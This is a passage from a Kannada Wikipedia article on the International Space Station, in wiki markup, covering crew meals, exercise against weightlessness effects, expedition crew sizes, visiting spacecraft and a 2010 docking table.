ರೆಫ್ರಿಜಿರೇಟರ್(ಶೀತಕ), ಬಿಸಿನೀರು ಮತ್ತು ತಣ್ಣೀರು ಎರಡನ್ನು ಒದಗಿಸುವ, ಜಲವಿತರಕ ಸಾಧನವನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="NASACrewEquip" /> ಪಾನೀಯಗಳನ್ನು ನಿರ್ಜಲೀಕರಿಸಲಾದ ಪುಡಿಯ ರೂಪದಲ್ಲಿ ಒದಗಿಸಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಬಳಸುವ ಮೊದಲು ಇವುಗಳನ್ನು ನೀರಿನೊಂದಿಗೆ ಬೆರೆಸಿ ಉಪಯೋಗಿಸಲಾಗುತ್ತದೆ.<ref name="NASACrewEquip" /><ref name="CSALife" /> ಪಾನೀಯಗಳನ್ನು ಮತ್ತು ಸೂಪ್ ಗಳನ್ನು ಸ್ಟ್ರಾಗಳ ಬಳಸಿ ಪ್ಲ್ಯಾಸ್ಟಿಕ್ ಚೀಲದಿಂದ ಸೇವಿಸಲಾಗುತ್ತದೆ (ಹೀರಿಕೊಳ್ಳಲಾಗುತ್ತದೆ). ಅಲ್ಲದೇ ಘನರೂಪದಲ್ಲಿರುವ ಆಹಾರವನ್ನು ಚಾಕುವಿನಿಂದ ಮತ್ತು ಫೋರ್ಕ್(ಮುಳ್ಳುಚಮಚ) ನಿಂದ ತಿನ್ನಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ತೇಲಿಹೋಗದಂತೆ ಅಯಸ್ಕಾಂತಗಳೊಂದಿಗೆ ತಟ್ಟೆಯಲ್ಲಿ ಜೋಡಿಸಲಾಗಿರುತ್ತದೆ. ಆಹಾರದ ಸಣ್ಣ ಚೂರುಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ತೇಲಿಹೋಗುವ ಯಾವುದೇ ಆಹಾರವನ್ನಾದರೂ ಸಂಗ್ರಹಿಸಲೇಬೇಕು. ಏಕೆಂದರೆ ನಿಲ್ದಾಣದ ವಾಯು ಶೋಧಕಕ್ಕೆ ಮತ್ತು ಇತರ ಸಲಕರಣೆಗಳಿಗೆ ಇವು ತಡೆಯುಂಟು ಮಾಡಬಹುದು. ಆದ್ದರಿಂದ ಇದನ್ನು ತಡೆಗಟ್ಟಲು ಇವುಗಳನ್ನು ಸಂಗ್ರಹಿಸಬೇಕಾಗುತ್ತದೆ.<ref name="CSALife" /> ===ವ್ಯಾಯಾಮ=== ದೀರ್ಘಕಾಲದ ವರೆಗೆ ಹಗುರವಾಗಿರುವಿಕೆಯ ಅತ್ಯಂತ ಪ್ರಮುಖ ಪ್ರತಿಕೂಲ ಪರಿಣಾಮಗಳೆಂದರೆ: ಸ್ನಾಯು ಕ್ಷೀಣತೆ ಮತ್ತು ಅಸ್ಥಿಪಂಜರ ಕ್ಷೀಣತೆ ಅಥವಾ ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ಆಸ್ಟಿಯೊಪೇನಿಯ (ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನದಲ್ಲಿರುವ ಸಂದರ್ಭದಲ್ಲಿ ಮೂಳೆಗಳು ಕ್ಷೀಣಿಸುವುದು). ಇತರ ಪರಿಣಾಮಗಳೆಂದರೆ: ಸ್ರವದ ಪುನರ್ವಿತರಣೆ, ರಕ್ತಪರಿಚಲನಾ ವ್ಯವಸ್ಥೆ ನಿಧಾನವಾಗುವುದು, ಕೆಂಪು ರಕ್ತ ಕಣಗಳ ಸಂಖ್ಯೆ ಕಡಿಮೆಯಾಗುವುದು, ಅಸ್ವಸ್ಥಗೊಳ್ಳುವುದು, ಮತ್ತು ರೋಗ ಪ್ರತಿರಕ್ಷಿತ ವ್ಯವಸ್ಥೆ ದುರ್ಬಲಗೊಳ್ಳುವುದು. ಸಣ್ಣ ಪುಟ್ಟ ರೋಗಲಕ್ಷಣಗಳು ಕೆಳಕಂಡಂತಿವೆ: ದೇಹದ ತೂಕ ಕಡಿಮೆಯಾಗುವುದು, ಮೂಗಿನಲ್ಲಿ ರಕ್ತಸಂಚಯವಾಗುವುದು, ಮಲಗುವ ತೊಂದರೆಗಳು, ಕರಳು ಅಥವಾ ಜಠರದಲ್ಲಿ ಮಿತಿಮೀರಿ ವಾಯು ತುಂಬಿಕೊಳ್ಳುವುದು ಮತ್ತು ಮುಖದಲ್ಲಿ ಬೊಜ್ಜು ಕಾಣಿಸಿಕೊಳ್ಳುವುದು. ಈ ಪರಿಣಾಮಗಳು ಭೂಮಿಗೆ ಹಿಂದಿರುಗಿದ ಕೂಡಲೇ ವ್ಯತಿರಿಕ್ತವಾಗುತ್ತವೆ.<ref name="JCB" /> [[File:TVIS treadmill.jpg|thumb|upright|Astronaut Sunita "Suni" Williams is attached to the TVIS treadmill with bungee cords aboard the International Space Station|alt= ನೀಲಿ ಬಣ್ಣದ ಟಿ-ಶರ್ಟ್ ಮತ್ತು ಶಾರ್ಟ್ಸ್ ಅನ್ನು ಧರಿಸಿರುವ ಮಹಿಳೆ, ಬಿಳಿಯ ಪಟ್ಟಿಗಳಿಂದ ತನ್ನನ್ನು ಭಧ್ರವಾಗಿ ಕಟ್ಟಿಕೊಂಡು ಟ್ರೆಡ್ ಮಿಲ್(ತುಳಿತದ ಯಂತ್ರ) ನಲ್ಲಿ ಓಡುತ್ತಿರುವಂತೆ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾಳೆ.ತೇಲುತ್ತಿರುವ ಸಲಕರಣೆ ಮತ್ತು ಕೋಣೆಯನ್ನು ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಕಾಣಬಹುದು.]] ಈ ಕೆಲವು ಶಾರೀರಿಕ ಪ್ರತಿಕೂಲ ಪರಿಣಾಮಗಳನ್ನು ತಡೆಗಟ್ಟಲು, ನಿಲ್ದಾಣವನ್ನು ಎರಡು ಟ್ರೆಡ್ ಮಿಲ್(ತುಳಿತದ ಯಂತ್ರ) ಗಳಿಂದ (COLBERT ಅನ್ನು ಒಳಗೊಂಡಂತೆ) ಸಿದ್ಧಪಡಿಸಲಾಗಿದೆ. aRED ( ಅಡ್ವಾನ್ಸ್ಡ್ ರೆಸಿಸ್ಟೀವ್ ಎಕ್ಸಸೈಸ್ ಡಿವೈಸ್) ಇದು ತೂಕ ಎತ್ತುವ ವಿವಿಧ ವ್ಯಾಯಾಮಗಳನ್ನು ಮಾಡಲು ಬೇಕಾದ ಅನುಕೂಲತೆಗಳನ್ನು ಮತ್ತು ಸ್ಟೇಷನರಿ ಬೈಸಿಕಲ್ (ಸ್ಥಿರ ಸೈಕಲ್ಲು) ಅನ್ನು ಒದಗಿಸುತ್ತದೆ; ಪ್ರತಿಯೊಬ್ಬ ಗಗನಯಾತ್ರಿ ದಿನಕ್ಕೆ ಎರಡು ಘಂಟೆಗಳ ಕಾಲ ಈ ಸಾಧನಗಳ ಮೇಲೆ ವ್ಯಾಯಾಮ ಮಾಡುತ್ತಾರೆ.<ref name="NASACrewEquip" /><ref name="ESALife" /> ಗಗನಯಾತ್ರಿಗಳು ತಮ್ಮನ್ನು ಟ್ರೆಡ್ ಮಿಲ್(ತುಳಿತದ ಯಂತ್ರ) ಗೆ ಬಿಗಿದುಕೊಳ್ಳಲು ಬುಂಗೀ ಕಾರ್ಡ್ (ಹುರಿಗೊಳಿಸಿದ ಹಗ್ಗ)ಗಳನ್ನು ಬಳಸುತ್ತಾರೆ.<ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/behindscenes/bungee_running.html|accessdate=23 August 2009|title=Bungee Cords Keep Astronauts Grounded While Running|date=16 June 2009|publisher=NASA}}</ref> ಗುರುತ್ವವಿಲ್ಲದೆ ದೀರ್ಘಕಾಲದ ವರೆಗೆ ಇರುವವರಲ್ಲಿ ಉಂಟಾಗುವ ಮೂಳೆ ಮತ್ತು ಸ್ನಾಯು ಕ್ಷೀಣತೆಗೆ ಹಾಗು ತೊಂದರೆಗಳಿಗೆ ವ್ಯಾಯಾಮವು ಉತ್ತಮ ಪ್ರತಿಕ್ರಮವಾಗಿದೆ ಎಂದು ಸಂಶೋಧಕರು ನಂಬಿದ್ದಾರೆ .<ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/behindscenes/colbert_feature.html|accessdate=Augist 23, 2009|title=Do Tread on Me|date=19 August 2009|author=Amiko Kauderer|publisher=NASA}}</ref> ==ನಿಲ್ದಾಣದ ಕಾರ್ಯಾಚರಣೆ== ===ಗಗನಯಾತ್ರೆಗಳು=== {{See also|List of International Space Station expeditions}} ನಿಲ್ದಾಣದ ಪ್ರತಿಯೊಬ್ಬ ಕಾಯಂ ಸದಸ್ಯ ಸಿಬ್ಬಂದಿಗೆ ಗಗನಯಾತ್ರೆಯ ಅನುಕ್ರಮ ಸಂಖ್ಯೆಯನ್ನು ನೀಡಲಾಗಿರುತ್ತದೆ. ಗಗನಯಾತ್ರೆಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಆರುತಿಂಗಳ ಕಾಲಾವಧಿಯವರೆಗೆ ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಒಂದು ಗಗನಯಾತ್ರೆಯ ಕಮಾಂಡರ್ ಮತ್ತೊಂದು ಗಗನಯಾತ್ರೆಯ ಕಮಾಂಡರ್ ಗೆ ನಿಲ್ದಾಣವನ್ನು ಅಧಿಕೃತವಾಗಿ ಒಪ್ಪಿಸಿದ ನಂತರ ಗಗನಯಾತ್ರೆಯನ್ನು ಪ್ರಾರಂಭಿಸಲಾಗುತ್ತದೆ. ಗಗನಯಾತ್ರೆ 1 ರಿಂದ 6 ರ ವರೆಗೆ ಕೈಗೊಳ್ಳಲಾದ ಗಗನಯಾತ್ರೆಗಳಲ್ಲಿ ಮೂರು ಜನರುಳ್ಳ ಸಿಬ್ಬಂದಿ ತಂಡವನ್ನು ನೇಮಿಸಲಾಗಿತ್ತು. ಆದರೆ ''ಕೊಲಂಬಿಯ'' ಅಪಘಾತದಿಂದಾಗಿ, ಗಗನಯಾತ್ರೆ 7 ರಿಂದ 12 ವರೆಗೆ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರ ಸಂಖ್ಯೆಯನ್ನು ಎರಡಕ್ಕಿಳಿಸಲಾಯಿತು. ಗಗನಯಾತ್ರೆ 13 ರಲ್ಲಿ ಮತ್ತೆ ಮೂರು ಜನ ಸಿಬ್ಬಂದಿಯನ್ನು ನಿಯೋಜಿಸಲಾಯಿತು. ಅಲ್ಲಿಂದ ನಿಲ್ದಾಣವು ಕಾಯಂ ಆಗಿ ಮೂರು ಜನ ಸಿಬ್ಬಂದಿಯನ್ನು ಹೊಂದುವಂತಾಯಿತು. ಕೇವಲ ಮೂರು ಜನ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರು ನಿಲ್ದಾಣದಲ್ಲಿ ಕಾಯಂ ಆಗಿ ಇರುವಾಗ, ಗಗನಯಾತ್ರೆ 16 ರಂತಹ ಅನೇಕ ಗಗನಯಾತ್ರೆಗಳು, ಆರು ಜನರ ವರೆಗೆ ಗಗನಯಾತ್ರಿಗಳನ್ನು ಅಥವಾ ಅಂತರಿಕ್ಷಯಾತ್ರಿಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ. ಇವರು ನಿಲ್ದಾಣದಿಂದ ನಿಲ್ದಾಣಕ್ಕೆ ಪ್ರತ್ಯೇಕ ವಿಮಾನಗಳ ಮೂಲಕ ಹೋಗುತ್ತಾರೆ.<ref name="ISSEx">{{cite web|title=International Space Station Expeditions|publisher=NASA|url=https://www.nasa.gov/mission_pages/station/expeditions/index.html|date=10 April 2009|accessdate=13 April 2009}}</ref><ref name="current">{{cite web|url=https://www.nasa.gov/mission_pages/station/main/index.html|title=International Space Station|accessdate=22 October 2008|publisher=NASA|year=2008|author=NASA}}</ref> ಆಗ 2009 ರ ಮೇ 27 ರಂದು ಗಗನಯಾತ್ರೆ 20 ಅನ್ನು ಆರಂಭಿಸಲಾಯಿತು. ಗಗನಯಾತ್ರೆ 20, ಆರು ಜನ ಸಿಬ್ಬಂದಿಯನ್ನು ಒಳಗೊಂಡ ISS ನ ಮೊದಲ ಗಗನಯಾತ್ರೆಯಾಗಿದೆ. ವಾಸಸ್ಥಳವನ್ನು ಮತ್ತು ಸಾಮರ್ಥ್ಯವನ್ನು STS-115 ರ ಮೂಲಕ ಇನ್ನಷ್ಟು ವಿಸ್ತರಿಸುವ ಮೊದಲು, ನಿಲ್ದಾಣವು ಕೇವಲ ಮೂರು ಜನರ ಸಿಬ್ಬಂದಿ ವರ್ಗಕ್ಕೆ ಮಾತ್ರ ಆಶ್ರಯ ನೀಡಬಹುದಾಗಿತ್ತು. ಗಗನಯಾತ್ರೆ 20 ರ ಸಿಬ್ಬಂದಿಯನ್ನು ಎರಡು ಪ್ರತ್ಯೇಕ ಸೊಯುಜ್-TMA ವಿಮಾನಗಳ ಮೂಲಕ ನಿಲ್ದಾಣಕ್ಕೆ ಕಳುಹಿಸಲಾಯಿತು. ಇವುಗಳನ್ನು ಎರಡು ಬೇರೆ ಬೇರೆ ಸಮಯಗಳಲ್ಲಿ ಉಡಾವಣೆ ಮಾಡಲಾಯಿತು.(ಪ್ರತಿ ಸೊಯುಜ್-TMA ಕೇವಲ ಮೂರು ಜನರನ್ನು ಮಾತ್ರ ಇಟ್ಟುಕೊಳ್ಳಬಹುದಾಗಿತ್ತು): ಸೊಯುಜ್ TMA-14 ಅನ್ನು 2009 ರ ಮಾರ್ಚ್ 26 ರಂದು ಮತ್ತು ಸೊಯುಜ್ TMA-15 ಅನ್ನು 2009 ರ ಮೇ 27 ರಂದು ಉಡಾವಣೆ ಮಾಡಲಾಯಿತು. ಅದೇನೇ ಆದರೂ, ಆರು ಜನರ ಸಿಬ್ಬಂದಿ ವರ್ಗ ನಿಲ್ದಾಣದಲ್ಲಿ ಕಾಯಂ ಆಗಿ ಇಡೀ ವರ್ಷ ವಾಸವಿರಲಿಲ್ಲ. ಉದಾಹರಣೆಗೆ, ಗಗನಯಾತ್ರೆ 20 ರ ಸಿಬ್ಬಂದಿ (ರೋಮನ್ ರೋಮ್ಯಾನೆನ್ಕೊ, ಫ್ರ್ಯಾಂಕ್ ದೆ ವೈನ್ ಮತ್ತು ಬಾಬ್ ಥ್ರಿಸ್ಕ್) ಸುಮಾರು ಎರಡು ವಾರಗಳಿಗೆ 2009 ರ ನವೆಂಬರ್ ನಲ್ಲಿ ಭೂಮಿಗೆ ಮರಳಿದರು. ಈ ಸಂದರ್ಭದಲ್ಲಿ ಕೇವಲ ಇಬ್ಬರು ಸಿಬ್ಬಂದಿ ತಂಡದ ಸದಸ್ಯರು ಮಾತ್ರ (ಜೆಫ್ ವಿಲಿಯಮ್ಸ್ ಮತ್ತು ಮ್ಯಾಕ್ಸ್ ಸುರ್ಯೆವ್) ನಿಲ್ದಾಣದಲ್ಲಿದ್ದರು. ಡಿಸೆಂಬರ್ ನ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ ಒಲೆಗ್ ಕೊಟೊವ್, ಟೈಮೊತಿ ಕ್ರೀಮರ್ ಮತ್ತು ಸೊಯಿಚಿ ನೊಗುಚಿ, ಸೊಯುಜ್ TMA-17 ರ ಮೇಲೆ ಆಗಮಿಸಿದಾಗ ಸಿಬ್ಬಂದಿ ಸಂಖ್ಯೆ ಐದಕ್ಕೇರಿತು. 2010ರ ಮಾರ್ಚ್ ನಲ್ಲಿ ವಿಲಿಯಮ್ಸ್ ಮತ್ತು ಸುರ್ಯೆವ್ ಅಲ್ಲಿಂದ ಮರಳಿದಾಗ ಸಿಬ್ಬಂದಿಗಳ ಸಂಖ್ಯೆ ಮೂರಕ್ಕಿಳಿಯಿತು. ಅಂತಿಮವಾಗಿ 2010 ರ ಏಪ್ರಿಲ್ ನಲ್ಲಿ ಸೊಯುಜ್ TMA-18 ರೊಂದಿಗೆ ಅಲೆಕ್ಸಾಂಡರ್ ಸ್ಕ್ವೋರ್ಟ್ಸೋವ್, ಮೈಕೆಲ್ ಕಾರ್ನಿಯೆನ್ಕೊ ಮತ್ತು ಟ್ರ್ಯಾಸಿ ಕ್ಯಾಲ್ಡ್ ವೆಲ್ ಡೈಸನ್ ರವರು ಆಗಮಿಸುವ ಮೂಲಕ ಆರು ಜನ ಸಿಬ್ಬಂದಿ ತಂಡ ಮರಳಿದಂತಾಯಿತು.<ref name="ISSEx" /><ref name="current" /> ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣವು ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನಗಳ ಇತಿಹಾಸದಲ್ಲೇ ಅತ್ಯಂತ ಹೆಚ್ಚು ಬಾರಿ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಗಳು ಸಂದರ್ಶಿಸಿದ ನಿಲ್ದಾಣವಾಗಿದೆ. {{As of|2009|11|24}}, ಅದುವರೆಗೆ 266 ಜನರು ಇಲ್ಲಿಗೆ ಭೇಟಿನೀಡಿದ್ದಾರೆ(ಬೇರೆ ಬೇರೆ 185 ಜನರು).<ref name="10th" /> ''ಮಿರ್'' 137 ಸಂದರ್ಶಕರರನ್ನು ಹೊಂದಿದೆ (104 ವಿಭಿನ್ನ ಜನರು).<ref name="SSSM" /> ===ಸಂದರ್ಶಕ ಬಾಹ್ಯಾಕಾಶನೌಕೆ=== {{See also|List of human spaceflights to the ISS|List of unmanned spaceflights to the ISS}} [[File:STS-118 approaching ISS.jpg|thumb|upright=1.2|alt=A space shuttle, with its payload bay full of equipment, seen orbiting over a cloudy sky above a mountainous region of the Earth.|STS-118 ನ ಸಂದರ್ಭದಲ್ಲಿ ISS ಅನ್ನು ಸಮೀಪಿಸುತ್ತಿರುವ [405]]] ನಾಲ್ಕು ವಿಭಿನ್ನ ಬಾಹ್ಯಾಕಾಶ ನಿಯೋಗಗಳ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳು ISS ಗೆ ಭೇಟಿನೀಡುವ ಮೂಲಕ ಅನೇಕ ಉದ್ದೇಶಗಳನ್ನು ನೆರವೇರಿಸಿವೆ. ಯುರೋಪಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿಯಿಂದ ಆಟೋಮೇಟೆಡ್ ಟ್ರಾನ್ಸ್ ಫರ್ ವೆಹಿಕಲ್ , ರಷ್ಯನ್ ರಾಸ್ಕಾಸ್ಮೊಸ್ ಪ್ರೋಗ್ರೆಸ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆ ಮತ್ತು, ಜಪಾನ್ ಏರೋಸ್ಪೇಸ್ ಎಕ್ಸ್ ಪ್ಲೋರೇಷನ್ ಏಜೆನ್ಸಿಯಿಂದ HTV-II ನಿಲ್ದಾಣಕ್ಕೆ ಮರುಪೂರೈಕೆ ಸೇವೆಯನ್ನು ಸಲ್ಲಿಸಿವೆ. ಇದರ ಜೊತೆಯಲ್ಲಿ ರಷ್ಯಾ, ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯನ್ನು ಸರಬರಾಜು ಮಾಡುತ್ತವೆ. ಇದನ್ನು ಸಿಬ್ಬಂದಿಯ ಪರಿಭ್ರಮಣಕ್ಕಾಗಿ ಮತ್ತು ಆರು ತಿಂಗಳಿಗೊಮ್ಮೆ ಬದಲಾಯಿಸುವ ತುರ್ತು ವಿಸರ್ಜನೆಗಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅಂತಿಮವಾಗಿ, US ಅದರ ಬಾನಗಾಡಿ ಕಾರ್ಯಯೋಜನೆಯ ಮೂಲಕ ISS ಗೆ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿದೆ. ಇದು ಮರುಪೂರೈಕೆ ಯಾತ್ರೆಗಳು, ಜೋಡಣೆಗಳು, ವ್ಯವಸ್ಥಾಪನ ವಿಮಾನಗಳು ಮತ್ತು ಸಿಬ್ಬಂದಿ ಪರಿಕ್ರಮಣಾ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ.{{As of|2009|11|27}}, ಈ ಕಾರ್ಯಯೋಜನೆಯು 20 ಸೊಯುಜ್, 35 ಪ್ರೋಗ್ರೆಸ್, 1 ATV, 1 HTV ಮತ್ತು 31 ಬಾನಗಾಡಿ ವಿಮಾನಗಳನ್ನು ನಿಲ್ದಾಣದ ಸೇವೆಗೆ ಬಳಸುತ್ತಿದೆ.<ref name="ISStD">{{cite web|url=http://spaceflight.nasa.gov/station/isstodate.html|title=The ISS to Date|accessdate=28 November 2009|publisher=NASA|date=27 November 2009|author=NASA|archive-date=14 ಆಗಸ್ಟ್ 2009|archive-url=https://web.archive.org/web/20090814071815/http://spaceflight.nasa.gov/station/isstodate.html|url-status=dead}}</ref> ಗಗನಯಾತ್ರೆಗಳಿಗೆ ಸರಿಸುಮಾರು ಸರಾಸರಿ 2,722&nbsp;kg(ಕೆ.ಜಿ) ಯ ಸರಬರಾಜಿನ ಅಗತ್ಯವಿರುತ್ತದೆ. ಅಲ್ಲದೇ {{As of|2009|11|27|lc=yes}},ಸಿಬ್ಬಂದಿ ಸುಮಾರು ಒಟ್ಟು 19,000 ಬಾರಿ ಭೋಜನ ಸೇವಿಸಿದ್ದಾರೆ.<ref name="ISStD" /> ಸಿಬ್ಬಂದಿ ಪರಿಕ್ರಮಣ ಸೊಯುಜ್ ವಿಮಾನಗಳು ಮತ್ತು ಮರುಪೂರೈಕೆಯ ಪ್ರೋಗ್ರೆಸ್ ವಿಮಾನಗಳು, ಅನುಕ್ರಮವಾಗಿ ಪ್ರತಿವರ್ಷ ಎರಡು ಅಥವಾ ಮೂರು ಬಾರಿ ನಿಲ್ದಾಣಕ್ಕೆ ಭೇಟಿನೀಡುತ್ತವೆ.<ref name="Livelist">{{cite web|url=https://www.nasa.gov/mission_pages/station/resupply/index.html|archiveurl=https://web.archive.org/web/20080803015945/https://www.nasa.gov/mission_pages/station/resupply/index.html|archivedate=3 August 2008|title=Live listing of spacecraft operations|publisher=NASA|date=1 December 2009|accessdate=8 December 2009}}</ref> ಇದರೊಂದಿಗೆ ATV ಮತ್ತು HTV 2010 ವರ್ಷಕ್ಕೆ ಒಮ್ಮೆ ನಿಲ್ದಾಣವನ್ನು ಭೇಟಿಮಾಡಲು ಯೋಜಿಸಿವೆ. ಬಾನಗಾಡಿಯ ನಿವೃತ್ತಿಯ ನಂತರ ಅನೇಕ ಸಂಖ್ಯೆಯ ಇತರ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳನ್ನು ನಿಲ್ದಾಣಕ್ಕೆ ಕಳುಹಿಸಲಾಗುತ್ತದೆ. ಎರಡು,ಆರ್ಬಿಟಲ್ ಸೈನ್ಸಸ್ ನ ಸೈಗನ್ಸ್ ಮತ್ತು ಸ್ಪೇಸ್ ಎಕ್ಸ್ ನ ಡ್ರ್ಯಾಗನ್ ಗಳನ್ನು, NASA ದ ಕಮರ್ಷಿಯಲ್ ಆರ್ಬಿಟಲ್ ಟ್ರಾನ್ಸ್ ಪೋರ್ಟೇಷನ್ ಸರ್ವೀಸ್ ಮತ್ತು ವಾಣಿಜ್ಯ ಮರುಪೂರೈಕೆ ಸೇವೆಯ ಒಪ್ಪಂದಗಳಡಿ ಕಳುಹಿಸಲಾಗುವುದು. ಇವು 2015 ರ ವರೆಗೆ ನಿಲ್ದಾಣಕ್ಕೆ ಕಾರ್ಗೊವನ್ನು(ಸರಕು) ಸರಬರಾಜು ಮಾಡುತ್ತವೆ.<ref>{{cite web|author=Space Operations Mission Directorate|title=Human Space Flight Transition Plan|publisher=NASA|date=30 August 2006|url=https://www.nasa.gov/pdf/315546main_space_flight_transition_plan.pdf}}</ref><ref>{{cite press release|publisher=NASA|date=18 January 2006|title=NASA Seeks Proposals for Crew and Cargo Transportation to Orbit|url=http://www.spaceref.com/news/viewpr.html?pid=18791|accessdate=21 November 2006}}</ref> ಇದರ ಜೊತೆಯಲ್ಲಿ ಬಾನಗಾಡಿಯ ಬದಲಿಗೆ ಒರಿಯನ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯನ್ನು NASAದ ಕಾನ್ಸ್ಟಲೇಷನ್ ಪ್ರೋಗ್ರಾಂ ನ ಭಾಗವೆಂಬಂತೆ ಕಳುಹಿಸಲಾಯಿತು. ಇದನ್ನು ಅಧ್ಯಕ್ಷರಾದ [[ಬರಾಕ್ ಒಬಾಮ]] ರವರು 2010 ರ ಏಪ್ರಿಲ್ 15 ರಂದು ಪುನರ್ ಆರಂಭಿಸಿದರು. ಇದು ನಿಲ್ದಾಣಕ್ಕೆ ರಕ್ಷಾನೌಕೆಯ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite speech|title=Remarks By the President on Space Exploration in the 21st Centure|author=Barack Obama|authorlink=Barack Obama|date=15 April 2010|location=[[Kennedy Space Center|John F. Kennedy Space Center]]|url=http://en.wikisource.org/wiki/President_Barack_Obama_on_Space_Exploration_in_the_21st_Century|accessdate=5 May 2010}}</ref> US ನ 2011 ರ ಹಣಕಾಸು ವರ್ಷದ ಬಜೆಟ್ ನಲ್ಲಿ ಅನುದಾನ ರದ್ದು ಪಡಿಸುವವರೆಗೂ ಈ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯನ್ನು ಹೊಂದಲಾಗುತ್ತದೆ.<ref>{{cite web|url=https://www.nasa.gov/pdf/420990main_FY_201_%20Budget_Overview_1_Feb_2010.pdf|accessdate=7 March 2010|title=Fiscal Year 2011 Budget Estimates|publisher=NASA}}</ref> {{As of|2010|12|17}}, ಸದ್ಯ ಮೂರು ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳನ್ನು ISS ನೊಂದಿಗೆ ಸೇರಿಸಲಾಗಿದೆ: {| class="wikitable" |- ! ಬಾಹ್ಯಾಕಾಶನೌಕೆ ! ಯಾತ್ರೆ(ಮಿಶನ್) ! ಜೋಡಣಾ ಸ್ಥಳ ! ಜೋಡಣೆ ದಿನಾಂಕ (UTC) ! ಟಿಪ್ಪಣಿಗಳು |- | ಸೊಯುಜ್ TMA-01M | ಗಗನಯಾತ್ರೆ 25/ಗಗನಯಾತ್ರೆ 26 | ''ಪಾಯ್ಸಕ್'' | 2010 ರ ಅಕ್ಟೋಬರ್ 10 00:01 | <ref name="TMA-01M">{{cite web|url=http://www.nasaspaceflight.com/2010/10/soyuz-01m-docking-iss-crews-conduct-hardware-installation/|author=Pete Harding|date=9 October 2010|accessdate=10 October 2010|publisher=NASASpaceflight.com|title=Soyuz TMA-01M docks with ISS as crews conduct hardware installation}}</ref> |- | ಸೊಯುಜ್ TMA-20 | ಗಗನಯಾತ್ರೆ 26/ಗಗನಯಾತ್ರೆ 27 | ''ರಾಸ್ವೆಟ್'' | 2010 ರ ಡಿಸೆಂಬರ್ 17 20:12 | <ref>{{cite web|url=http://www.nasaspaceflight.com/2010/12/soyuz-tma-20-launch-to-begin-busy-period-iss/|date=17 December 2010|accessdate=18 December 2010|publisher=NASASpaceflight.com|author=Pete Harding|title=Soyuz TMA-20 launches to begin busy period on ISS – Docking successful}}</ref> |- | ಪ್ರೋಗ್ರೆಸ್ M-07M | ISS ಪ್ರೋಗ್ರೆಸ್ 39 | ''ಜ್ವೆಜ್ದ'' | 2010 ರ ಸೆಪ್ಟೆಂಬರ್ 12 11:58 | <ref>{{cite web|title=Soyuz-U launches Progress M-07M/39P – Sunday ISS docking successful|url=http://www.nasaspaceflight.com/2010/09/soyuz-u-launch-progress-m-07m39p-friday-docking-iss/|publisher=NASASpaceflight.com|accessdate=12 September 2010|author=Chris Bergin|date=12 September 2010}}</ref> |- | ಪ್ರೋಗ್ರೆಸ್ M-08M | ISS ಪ್ರೋಗ್ರೆಸ್ 40 | ''ಪರ್ಸ್'' | 2010 ರ ಅಕ್ಟೋಬರ್ 30 16:36 | <ref>{{cite web|url=http://www.nasaspaceflight.com/2010/10/progress-m-08m-set-to-launch-managers-update-status-of-iss-life-support/|publisher=NASASpaceflight.com|date=27 October 2010|accessdate=30 October 2010|author=Chris Bergin|title=Progress M-08M launches – Managers update status of ISS life support}}</ref> |} ===ಗಗನಯಾತ್ರೆ ನಿಯಂತ್ರಣ ಕೇಂದ್ರಗಳು=== {{See also|Mission Control Center}} {{wide image|ISS Centers.svg|880px|Space centres involved with the ISS programme|alt=A world map highlighting the locations of space centres. See adjacent text for details.}} ಪ್ರಪಂಚದಾದ್ಯಂತ ಇರುವ ISS ನ ಬಾಹ್ಯಾಕಾಶ ನಿಯೋಗಗಳು ನಿಯಂತ್ರಣಾ ಕೇಂದ್ರಗಳ ಮೂಲಕ, ಅದರ ಘಟಕಗಳನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತವೆ, ಮತ್ತು ನಿಯಂತ್ರಿಸುತ್ತವೆ. ಈ ಬಾಹ್ಯಾಕಾಶ ನಿಯೋಗಗಳು ಕೆಳಕಂಡಂತಿವೆ: * ಟೆಕ್ಸಸ್ ರಾಜ್ಯದ ಹಾಸ್ಟನ್ ನಗರದ ಲಿಂಡನ್ B. ಜಾನ್ ಸನ್ ಸ್ಪೇಸ್ ಸೆಂಟರ್ ನಲ್ಲಿರುವ NASA ದ ಮಿಶನ್ ಕಂಟ್ರೋಲ್ ಸೆಂಟರ್, ISS ನ US ಭಾಗವನ್ನು ನೋಡಿಕೊಳ್ಳುವ ಪ್ರಾಥಮಿಕ ನಿಯಂತ್ರಣಾ ಸೌಲಭ್ಯವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಇದು ನಿಲ್ದಾಣಕ್ಕೆ ಭೇಟಿನೀಡುವ 